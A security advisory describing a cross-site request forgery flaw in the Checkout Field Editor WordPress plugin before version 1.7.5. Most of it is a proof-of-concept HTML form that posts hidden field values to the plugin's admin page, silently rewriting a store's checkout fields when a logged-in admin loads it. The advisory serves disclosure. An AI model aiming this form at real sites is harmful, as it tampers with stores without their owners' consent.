Checkout Field Editor < 1.7.5 – Checkout Fields Update via CSRF

Description

The plugin does not have CSRF check in place when updating checkout fields, which could allow attackers to make logged in users update them via a CSRF attack

Proof of Concept

<html>
 <body>
   <form action="https://example.com/wp-admin/admin.php?page=checkout_field_editor" method="POST">
     <input type="hidden" name="new_field_name[0]" value="" />
     <input type="hidden" name="field_name[0]" value="" />
     <input type="hidden" name="field_order[0]" value="" />
     <input type="hidden" name="field_enabled[0]" value="1" />
     <input type="hidden" name="field_type[0]" value="text" />
     <input type="hidden" name="field_label[0]" value="" />
     <input type="hidden" name="field_placeholder[0]" value="" />
     <input type="hidden" name="field_options[0]" value="" />
     <input type="hidden" name="field_position[0]" value="form-row-first" />
     <input type="hidden" name="field_name[1]" value="billing_first_name" />
     <input type="hidden" name="field_order[1]" value="0" />
     <input type="hidden" name="field_enabled[1]" value="1" />
     <input type="hidden" name="field_type[1]" value="text" />
     <input type="hidden" name="field_label[1]" value="First name" />
     <input type="hidden" name="field_placeholder[1]" value="" />
     <input type="hidden" name="field_options[1]" value="																												 									" />
     <input type="hidden" name="field_position[1]" value="form-row-first" />
     <input type="hidden" name="field_validation[1][]" value="required" />
     <input type="hidden" name="field_name[2]" value="billing_last_name" />
     <input type="hidden" name="field_order[2]" value="1" />
     <input type="hidden" name="field_enabled[2]" value="1" />
     <input type="hidden" name="field_type[2]" value="text" />
     <input type="hidden" name="field_label[2]" value="Last name" />
     <input type="hidden" name="field_placeholder[2]" value="" />
     <input type="hidden" name="field_options[2]" value="																												 									" />
     <input type="hidden" name="field_position[2]" value="form-row-last" />
     <input type="hidden" name="field_validation[2][]" value="required" />
     <input type="hidden" name="field_name[3]" value="billing_company" />
     <input type="hidden" name="field_order[3]" value="2" />
     <input type="hidden" name="field_enabled[3]" value="1" />
     <input type="hidden" name="field_type[3]" value="text" />
     <input type="hidden" name="field_label[3]" value="Company name" />
     <input type="hidden" name="field_placeholder[3]" value="" />
     <input type="hidden" name="field_options[3]" value="																												 									" />
     <input type="hidden" name="field_position[3]" value="form-row-wide" />
     <input type="hidden" name="field_name[4]" value="billing_country" />
     <input type="hidden" name="field_order[4]" value="3" />
     <input type="hidden" name="field_enabled[4]" value="1" />
     <input type="hidden" name="field_label[4]" value="Country / Region" />
     <input type="hidden" name="field_position[4]" value="form-row-wide" />
     <input type="hidden" name="field_name[5]" value="billing_address_1" />
     <input type="hidden" name="field_order[5]" value="4" />
     <input type="hidden" name="field_enabled[5]" value="1" />
     <input type="hidden" name="field_position[5]" value="form-row-wide" />
     <input type="hidden" name="field_name[6]" value="billing_address_2" />
     <input type="hidden" name="field_order[6]" value="5" />
     <input type="hidden" name="field_enabled[6]" value="1" />
     <input type="hidden" name="field_type[6]" value="text" />
     <input type="hidden" name="field_label[6]" value="Apartment, suite, unit, etc." />
     <input type="hidden" name="field_placeholder[6]" value="Apartment, suite, unit, etc. (optional)" />
     <input type="hidden" name="field_options[6]" value="																												 									" />
     <input type="hidden" name="field_position[6]" value="form-row-wide" />
  </form>
</html>